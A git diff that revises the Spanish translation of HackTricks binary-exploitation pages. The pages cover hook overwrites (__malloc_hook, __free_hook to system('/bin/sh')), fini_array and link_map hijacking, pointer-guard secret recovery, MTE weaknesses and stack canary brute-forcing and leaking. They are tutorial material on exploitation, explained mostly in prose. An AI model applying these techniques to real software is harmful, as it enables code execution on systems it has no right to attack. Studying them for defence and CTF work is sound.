diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index f65541986..90fa9132f 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -4,7 +4,7 @@
## **Malloc Hook**
-Como se puede ver en [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
+Como se puede ver en [sitio oficial de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
@@ -19,7 +19,7 @@ Más información sobre One Gadget en:
## Free Hook
-Esto fue abusado en uno de los ejemplos de la página abusando de un ataque de fast bin después de haber abusado de un ataque de unsorted bin:
+Esto fue abusado en uno de los ejemplos de la página que abusaba de un ataque de fast bin después de haber abusado de un ataque de unsorted bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
@@ -29,37 +29,37 @@ Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolo
```bash
gef➤ p &__free_hook
```
-[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del free hook sin símbolos. Como resumen, en la función free:
+[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del hook de free sin símbolos. Como resumen, en la función free:
-En el punto de ruptura mencionado en el código anterior, en `$eax` se ubicará la dirección del free hook.
+En el mencionado break en el código anterior, en `$eax` se localizará la dirección del hook de free.
Ahora se realiza un **ataque de fast bin**:
- En primer lugar, se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
--
-- Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
+- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función combinada con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
-- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
-- Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, de modo que se crea otro chunk de tamaño `0x1f8` para obtener un fast bin chunk en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
+- Luego, se llama a la función de edición en este chunk para modificar la dirección de **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
+- Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
## Referencias
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index c9bf4c6ee..a4ae97cf6 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -16,10 +16,10 @@ Puedes encontrar una explicación detallada sobre cómo funciona esto en [https:
## link_map
-Como se explicó [**en esta publicación**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), si el programa sale usando `return` o `exit()` se ejecutará `__run_exit_handlers()` que llamará a los destructores registrados.
+Como se explicó [**en esta publicación**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), si el programa sale usando `return` o `exit()`, ejecutará `__run_exit_handlers()` que llamará a los destructores registrados.
> [!CAUTION]
-> Si el programa sale a través de la función **`_exit()`**, llamará a la **syscall `exit`** y los manejadores de salida no se ejecutarán. Así que, para confirmar que `__run_exit_handlers()` se ejecuta, puedes establecer un punto de interrupción en él.
+> Si el programa sale a través de la función **`_exit()`**, llamará a la **`exit` syscall** y los manejadores de salida no se ejecutarán. Así que, para confirmar que `__run_exit_handlers()` se ejecuta, puedes establecer un punto de interrupción en él.
El código importante es ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
@@ -49,9 +49,9 @@ Nota cómo `map -> l_addr + fini_array -> d_un.d_ptr` se utiliza para **calcular
Hay un **par de opciones**:
- Sobrescribir el valor de `map->l_addr` para que apunte a un **falso `fini_array`** con instrucciones para ejecutar código arbitrario.
-- Sobrescribir las entradas `l_info[DT_FINI_ARRAY]` y `l_info[DT_FINI_ARRAYSZ]` (que son más o menos consecutivas en memoria), para hacer que **apunten a una estructura `Elf64_Dyn` forjada** que hará que nuevamente **`array` apunte a una zona de memoria** controlada por el atacante.
-- [**Este informe**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescribe `l_info[DT_FINI_ARRAY]` con la dirección de una memoria controlada en `.bss` que contiene un falso `fini_array`. Este array falso contiene **primero un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** que se ejecutará y luego la **diferencia** entre la dirección de este **array falso** y el **valor de `map->l_addr`** para que `*array` apunte al array falso.
-- Según la publicación principal de esta técnica y [**este informe**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deja un puntero en la pila que apunta al `link_map` binario en ld.so. Con una escritura arbitraria es posible sobrescribirlo y hacer que apunte a un falso `fini_array` controlado por el atacante con la dirección a un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por ejemplo.
+- Sobrescribir las entradas `l_info[DT_FINI_ARRAY]` y `l_info[DT_FINI_ARRAYSZ]` (que son más o menos consecutivas en memoria), para hacer que **apunten a una estructura `Elf64_Dyn` forjada** que hará que nuevamente **`array` apunte a una zona de memoria** controlada por el atacante.
+- [**Este informe**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescribe `l_info[DT_FINI_ARRAY]` con la dirección de una memoria controlada en `.bss` que contiene un falso `fini_array`. Este array falso contiene **primero un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **dirección** que se ejecutará y luego la **diferencia** entre la dirección de este **array falso** y el **valor de `map->l_addr`** para que `*array` apunte al array falso.
+- Según la publicación principal de esta técnica y [**este informe**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deja un puntero en la pila que apunta al `link_map` binario en ld.so. Con una escritura arbitraria es posible sobrescribirlo y hacer que apunte a un falso `fini_array` controlado por el atacante con la dirección a un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) por ejemplo.
Siguiendo el código anterior, puedes encontrar otra sección interesante con el código:
```c
@@ -116,9 +116,9 @@ func (cur->obj);
Para cada función registrada en **`tls_dtor_list`**, se descompone el puntero de **`cur->func`** y se llama con el argumento **`cur->obj`**.
Usando la función **`tls`** de este [**fork de GEF**](https://github.com/bata24/gef), es posible ver que en realidad la **`dtor_list`** está muy **cerca** del **stack canary** y la **cookie PTR_MANGLE**. Así, con un desbordamiento en ella sería posible **sobrescribir** la **cookie** y el **stack canary**.\
-Sobrescribiendo la cookie PTR_MANGLE, sería posible **eludir la función `PTR_DEMANLE`** al configurarla en 0x00, lo que significará que el **`xor`** utilizado para obtener la dirección real es solo la dirección configurada. Luego, al escribir en la **`dtor_list`** es posible **encadenar varias funciones** con la **dirección** de la función y su **argumento**.
+Sobrescribiendo la cookie PTR_MANGLE, sería posible **eludir la función `PTR_DEMANLE`** configurándola a 0x00, lo que significará que el **`xor`** utilizado para obtener la dirección real es solo la dirección configurada. Luego, al escribir en la **`dtor_list`** es posible **encadenar varias funciones** con la **dirección** de la función y su **argumento**.
-Finalmente, ten en cuenta que el puntero almacenado no solo se va a xorear con la cookie, sino que también se rotará 17 bits:
+Finalmente, nota que el puntero almacenado no solo se va a xorear con la cookie, sino que también se rotará 17 bits:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 47207e693..3f05591cf 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -24,7 +24,7 @@ Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será
Hay diferentes formas en las que podrías terminar controlando el flujo de un programa:
-- [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno de la pila o el EBP -> ESP -> EIP.
+- [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP.
- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
- O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**.
- [**Cadenas de Formato**](../format-strings/index.html)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
@@ -40,12 +40,12 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
## Bucles Eternos
-Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
+Algo a tener en cuenta es que, por lo general, **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
- Escribir en una **cadena ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**.
- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**.
-- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`.
+- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función desde `.fini_array`.
## Objetivos de Explotación
@@ -89,12 +89,12 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) pero sin [PIE](../common-binary-protections-and-bypasses/pie/index.html), conociendo la libc y **sin que el binario use la `system`**:
-- Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
+- Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) y calcular la dirección de `system` y `'/bin/sh'` en memoria.
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y sin conocer la libc**: Necesitas:
- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones).
-- Revisar los **escenarios anteriores con ASLR** para continuar.
+- Comprobar los **escenarios anteriores con ASLR** para continuar.
#### A través de EBP/RBP
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 956a728b9..3d0f7077a 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -16,7 +16,7 @@ Las nuevas reglas de alineación en Malloc también frustran un ataque clásico
## Mangling de Punteros en fastbins y tcache
-**Mangling de Punteros** es una mejora de seguridad utilizada para proteger **los punteros Fd de fastbin y tcache** en operaciones de gestión de memoria. Esta técnica ayuda a prevenir ciertos tipos de tácticas de explotación de memoria, específicamente aquellas que no requieren información de memoria filtrada o que manipulan ubicaciones de memoria directamente en relación con posiciones conocidas (sobrescrituras **relativas**).
+**Mangling de Punteros** es una mejora de seguridad utilizada para proteger **punteros Fd de fastbin y tcache** en operaciones de gestión de memoria. Esta técnica ayuda a prevenir ciertos tipos de tácticas de explotación de memoria, específicamente aquellas que no requieren información de memoria filtrada o que manipulan ubicaciones de memoria directamente en relación con posiciones conocidas (sobrescrituras **relativas**).
El núcleo de esta técnica es una fórmula de ofuscación:
@@ -29,7 +29,7 @@ La razón del desplazamiento a la derecha de la ubicación de almacenamiento (L)
Este puntero mangled aprovecha la aleatoriedad existente proporcionada por **Randomización de Diseño de Espacio de Direcciones (ASLR)**, que aleatoriza las direcciones utilizadas por los programas para dificultar que los atacantes predigan el diseño de memoria de un proceso.
-**Desmangling** del puntero para recuperar la dirección original implica usar la misma operación XOR. Aquí, el puntero mangled se trata como P en la fórmula, y cuando se XOR con la ubicación de almacenamiento sin cambios (L), resulta en la revelación del puntero original. Esta simetría en el mangling y desmangling asegura que el sistema pueda codificar y decodificar punteros de manera eficiente sin un overhead significativo, mientras aumenta sustancialmente la seguridad contra ataques que manipulan punteros de memoria.
+**Desmangling** del puntero para recuperar la dirección original implica usar la misma operación XOR. Aquí, el puntero mangled se trata como P en la fórmula, y cuando se XOR con la ubicación de almacenamiento sin cambios (L), resulta en la revelación del puntero original. Esta simetría en el mangling y desmangling asegura que el sistema pueda codificar y decodificar punteros de manera eficiente sin una sobrecarga significativa, mientras aumenta sustancialmente la seguridad contra ataques que manipulan punteros de memoria.
### Beneficios de Seguridad
@@ -38,7 +38,7 @@ El mangling de punteros tiene como objetivo **prevenir sobrescrituras parciales
1. **Prevención de Sobrescrituras Relativas Byte a Byte**: Anteriormente, los atacantes podían cambiar parte de un puntero para **redirigir chunks de heap a diferentes ubicaciones sin conocer direcciones exactas**, una técnica evidente en el exploit sin filtraciones **House of Roman**. Con el mangling de punteros, tales sobrescrituras relativas **sin una filtración de heap ahora requieren fuerza bruta**, reduciendo drásticamente su probabilidad de éxito.
2. **Aumento de la Dificultad de Ataques a Tcache Bin/Fastbin**: Los ataques comunes que sobrescriben punteros de función (como `__malloc_hook`) manipulando entradas de fastbin o tcache se ven obstaculizados. Por ejemplo, un ataque podría involucrar filtrar una dirección de LibC, liberar un chunk en el bin de tcache y luego sobrescribir el puntero Fd para redirigirlo a `__malloc_hook` para ejecución de código arbitrario. Con el mangling de punteros, estos punteros deben estar correctamente mangled, **necesitando una filtración de heap para una manipulación precisa**, elevando así la barrera de explotación.
3. **Requisito de Filtraciones de Heap en Ubicaciones No Heap**: Crear un chunk falso en áreas no heap (como la pila, sección .bss o PLT/GOT) ahora también **requiere una filtración de heap** debido a la necesidad de mangling de punteros. Esto extiende la complejidad de explotar estas áreas, similar al requisito de manipular direcciones de LibC.
-4. **Filtrar Direcciones de Heap se Vuelve Más Desafiante**: El mangling de punteros restringe la utilidad de los punteros Fd en bins de fastbin y tcache como fuentes para filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin mangling, por lo que aún son utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desmangling de punteros antes de una filtración, aunque con restricciones.
+4. **Filtrar Direcciones de Heap se Vuelve Más Desafiante**: El mangling de punteros restringe la utilidad de los punteros Fd en fastbin y tcache como fuentes para filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin mangling, por lo que aún son utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desmangling de punteros antes de una filtración, aunque con restricciones.
### **Desmangling de Punteros con una Filtración de Heap**
@@ -47,7 +47,7 @@ El mangling de punteros tiene como objetivo **prevenir sobrescrituras parciales
### Resumen del Algoritmo
-La fórmula utilizada para mangling y desmangling de punteros es:
+La fórmula utilizada para mangling y desmangling de punteros es:
**`New_Ptr = (L >> 12) XOR P`**
@@ -56,7 +56,7 @@ Donde **L** es la ubicación de almacenamiento y **P** es el puntero Fd. Cuando
**Pasos Clave en el Algoritmo:**
1. **Filtración Inicial de los Bits Más Significativos**: Al XORear el **L** desplazado con **P**, efectivamente obtienes los 12 bits superiores de **P** porque la porción desplazada de **L** será cero, dejando los bits correspondientes de **P** sin cambios.
-2. **Recuperación de Bits del Puntero**: Dado que XOR es reversible, conocer el resultado y uno de los operandos te permite calcular el otro operando. Esta propiedad se utiliza para deducir todo el conjunto de bits para **P** al XORear sucesivamente conjuntos conocidos de bits con partes del puntero mangled.
+2. **Recuperación de Bits del Puntero**: Dado que XOR es reversible, conocer el resultado y uno de los operandos permite calcular el otro operando. Esta propiedad se utiliza para deducir todo el conjunto de bits para **P** al XORear sucesivamente conjuntos conocidos de bits con partes del puntero mangled.
3. **Desmangling Iterativo**: El proceso se repite, cada vez utilizando los nuevos bits descubiertos de **P** del paso anterior para decodificar el siguiente segmento del puntero mangled, hasta que se recuperen todos los bits.
4. **Manejo de Bits Deterministas**: Los últimos 12 bits de **L** se pierden debido al desplazamiento, pero son deterministas y pueden ser reconstruidos después del proceso.
@@ -68,11 +68,11 @@ El guardián de punteros es una técnica de mitigación de exploits utilizada en
### **Eludiendo el Guardián de Punteros con una filtración**
-1. **Entendiendo las Operaciones del Guardián de Punteros:** El desordenamiento (mangling) de punteros se realiza utilizando el macro `PTR_MANGLE` que XORea el puntero con un secreto de 64 bits y luego realiza una rotación a la izquierda de 0x11 bits. La operación inversa para recuperar el puntero original es manejada por `PTR_DEMANGLE`.
+1. **Comprensión de las Operaciones del Guardián de Punteros:** El desordenamiento (mangling) de punteros se realiza utilizando el macro `PTR_MANGLE` que XORea el puntero con un secreto de 64 bits y luego realiza una rotación a la izquierda de 0x11 bits. La operación inversa para recuperar el puntero original es manejada por `PTR_DEMANGLE`.
2. **Estrategia de Ataque:** El ataque se basa en un enfoque de texto plano conocido, donde el atacante necesita conocer tanto la versión original como la mangled de un puntero para deducir el secreto utilizado para el mangling.
3. **Explotando Textos Planos Conocidos:**
- **Identificación de Punteros de Función Fijos:** Al examinar el código fuente de glibc o tablas de punteros de función inicializadas (como `__libc_pthread_functions`), un atacante puede encontrar punteros de función predecibles.
-- **Cálculo del Secreto:** Usando un puntero de función conocido como `__pthread_attr_destroy` y su versión mangled de la tabla de punteros de función, el secreto puede ser calculado rotando hacia atrás (rotación a la derecha) el puntero mangled y luego XOReándolo con la dirección de la función.
+- **Cálculo del Secreto:** Usando un puntero de función conocido como `__pthread_attr_destroy` y su versión mangled de la tabla de punteros de función, se puede calcular el secreto rotando hacia atrás (rotación a la derecha) el puntero mangled y luego XOReándolo con la dirección de la función.
4. **Textos Planos Alternativos:** El atacante también puede experimentar con mangling de punteros con valores conocidos como 0 o -1 para ver si estos producen patrones identificables en la memoria, revelando potencialmente el secreto cuando se encuentran estos patrones en volcado de memoria.
5. **Aplicación Práctica:** Después de calcular el secreto, un atacante puede manipular punteros de manera controlada, eludiendo esencialmente la protección del Guardián de Punteros en una aplicación multihilo con conocimiento de la dirección base de libc y la capacidad de leer ubicaciones de memoria arbitrarias.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 027721abb..31c54fc4a 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -8,7 +8,7 @@
### **Cómo Funciona la Extensión de Etiquetado de Memoria**
-MTE opera **dividiendo la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado a una etiqueta,** típicamente de unos pocos bits de tamaño.
+MTE opera **dividiendo la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado a una etiqueta,** típicamente de unos pocos bits de tamaño.
Cuando se crea un puntero para apuntar a esa memoria, recibe la misma etiqueta. Esta etiqueta se almacena en los **bits no utilizados de un puntero de memoria**, vinculando efectivamente el puntero a su bloque de memoria correspondiente.
@@ -57,15 +57,15 @@ La CPU verifica las etiquetas **asincrónicamente**, y cuando se encuentra una d
Llamado KASAN basado en etiquetas de hardware, KASAN basado en MTE o MTE en el núcleo.\
Los asignadores del núcleo (como `kmalloc`) **llamarán a este módulo** que preparará la etiqueta para usar (aleatoriamente) adjuntarla al espacio del núcleo asignado y al puntero devuelto.
-Ten en cuenta que **solo marcará suficientes granulos de memoria** (16B cada uno) para el tamaño solicitado. Así que si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** será **marcado** con una llamada **etiqueta inválida (0xE)**.
+Tenga en cuenta que **solo marcará suficientes gránulos de memoria** (16B cada uno) para el tamaño solicitado. Así que si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** será **marcado** con una llamada **etiqueta inválida (0xE)**.
-La etiqueta **0xF** es el **puntero que coincide con todos**. Una memoria con este puntero permite **cualquier etiqueta para ser usada** para acceder a su memoria (sin discrepancias). Esto podría prevenir que MET detecte un ataque si esta etiqueta se está utilizando en la memoria atacada.
+La etiqueta **0xF** es el **puntero que coincide con todos**. Una memoria con este puntero permite **cualquier etiqueta para ser utilizada** para acceder a su memoria (sin discrepancias). Esto podría evitar que MET detecte un ataque si esta etiqueta se está utilizando en la memoria atacada.
Por lo tanto, solo hay **14 valores** que se pueden usar para generar etiquetas, ya que 0xE y 0xF están reservados, dando una probabilidad de **reutilizar etiquetas** de 1/17 -> alrededor del **7%**.
-Si el núcleo accede al **granulo de etiqueta inválida**, la **discrepancia** será **detectada**. Si accede a otra ubicación de memoria, si la **memoria tiene una etiqueta diferente** (o la etiqueta inválida) la discrepancia será **detectada**. Si el atacante tiene suerte y la memoria está usando la misma etiqueta, no será detectada. Las probabilidades son alrededor del 7%.
+Si el núcleo accede al **gránulo de etiqueta inválida**, la **discrepancia** será **detectada**. Si accede a otra ubicación de memoria, si la **memoria tiene una etiqueta diferente** (o la etiqueta inválida), la discrepancia será **detectada**. Si el atacante tiene suerte y la memoria está usando la misma etiqueta, no será detectada. Las probabilidades son alrededor del 7%.
-Otro error ocurre en el **último granulo** de la memoria asignada. Si la aplicación solicitó 35B, se le dio el granulo de 32 a 48. Por lo tanto, los **bytes del 36 al 47 están usando la misma etiqueta** pero no fueron solicitados. Si el atacante accede a **estos bytes extra, esto no se detecta**.
+Otro error ocurre en el **último gránulo** de la memoria asignada. Si la aplicación solicitó 35B, se le dio el gránulo de 32 a 48. Por lo tanto, los **bytes del 36 al 47 están usando la misma etiqueta** pero no fueron solicitados. Si el atacante accede a **estos bytes adicionales, esto no se detecta**.
Cuando se ejecuta **`kfree()`**, la memoria se vuelve a etiquetar con la etiqueta de memoria inválida, por lo que en un **uso después de liberar**, cuando la memoria se accede nuevamente, la **discrepancia se detecta**.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index e44fd3783..55312985b 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-**Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una manera de eludirlos.**
+**Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una forma de eludirlos.**
.png>)
@@ -14,7 +14,7 @@
La mejor manera de eludir un canario simple es si el binario es un programa **que crea procesos hijos cada vez que estableces una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canario**.
-Entonces, la mejor manera de eludir el canario es simplemente **forzarlo de manera bruta carácter por carácter**, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canario de 8 Bytes (x64)** y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente **verificando** si se envía una **respuesta** de vuelta por el servidor (otra forma en **otra situación** podría ser usando un **try/except**):
+Entonces, la mejor manera de eludir el canario es simplemente **forzarlo de forma bruta carácter por carácter**, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canario de 8 Bytes (x64)** y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente **comprobando** si se envía una **respuesta** de vuelta por el servidor (otra forma en **otra situación** podría ser usando un **try/except**):
### Ejemplo 1
@@ -101,17 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
-## Hilos
+## Threads
-Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto, será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque.
+Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto, será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque.
Además, un **desbordamiento de búfer en una función con hilos** protegida con canario podría usarse para **modificar el canario maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canario) a través de un **bof en la pila** de un hilo.\
-Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son iguales (aunque modificados).\
+Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son los mismos (aunque modificados).\
Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Consulta también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior.
-## Otros ejemplos y referencias
+## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bits, sin PIE, nx, BF canario, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
+- 64 bits, no PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 4dd00ba7d..83a4667b4 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -6,13 +6,13 @@
Imagina una situación donde un **programa vulnerable** a desbordamiento de stack puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de stack**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba el stack hasta justo el primer byte del canario**.
-Luego, el atacante **llama a la funcionalidad puts** en el medio de la carga útil que **imprimirá todo el canario** (excepto el primer byte nulo).
